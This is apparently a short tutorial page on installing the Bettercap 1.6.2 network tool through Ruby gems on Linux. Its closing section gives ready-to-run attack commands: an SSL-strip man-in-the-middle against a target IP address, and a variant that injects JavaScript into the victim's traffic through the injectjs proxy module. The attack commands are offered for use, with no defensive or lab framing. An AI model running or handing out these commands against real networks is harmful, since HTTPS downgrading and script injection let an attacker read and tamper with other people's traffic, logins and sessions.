Skip to content

Bettercap 1.6.2 on Any Linux Based System Using Ruby Gem

Installation

Install Ruby Gem

apt-get install ruby-full
apt-get install libpcap-dev
gem update --system
gem install bettercap

find where gems are installed:

Run and look for "- GEM PATHS:"

gem environment

follow the path and append gem. for exmaple:

/var/lib/gems/2.5.0/gems/bettercap-1.6.2

Create a environmental symlink to bettercap to root directory

ln -s /var/lib/gems/2.5.0/gems/bettercap-1.6.2/bin/bettercap /root/bettercap-1.6.2

run from root directory

./bettercap-1.6.2

SSL Strip Commands

Change the IP according to you usage

Basic SSL Strip

bettercap-1.6.2 -X -T 192.168.1.104 --proxy

SSL Strip With XSS

bettercap-1.6.2 -X -T 192.168.3.104 --proxy --proxy-module injectjs --js-data "<script>alert('SSL STRIP, Script Injection')</script>"

Comments